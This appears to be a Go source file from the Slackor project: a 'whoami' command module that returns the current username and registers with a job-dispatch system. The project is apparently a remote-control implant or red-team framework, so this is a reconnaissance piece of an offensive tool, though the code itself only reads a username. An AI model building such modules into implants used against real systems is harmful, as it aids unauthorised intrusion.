github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/whoami.go (about) 1 package common 2 3 import ( 4 "os/user" 5 6 "github.com/n00py/Slackor/pkg/command" 7 ) 8 9 // WhoAmI returns the current user 10 type WhoAmI struct{} 11 12 // Name is the name of the command 13 func (s WhoAmI) Name() string { 14 return "whoami" 15 } 16 17 // Run returns the current user 18 func (s WhoAmI) Run(clientID string, jobID string, args []string) (string, error) { 19 user, err := user.Current() 20 if err != nil { 21 return "", err 22 } 23 return string(user.Username), nil 24 } 25 26 func init() { 27 command.RegisterCommand(WhoAmI{}) 28 }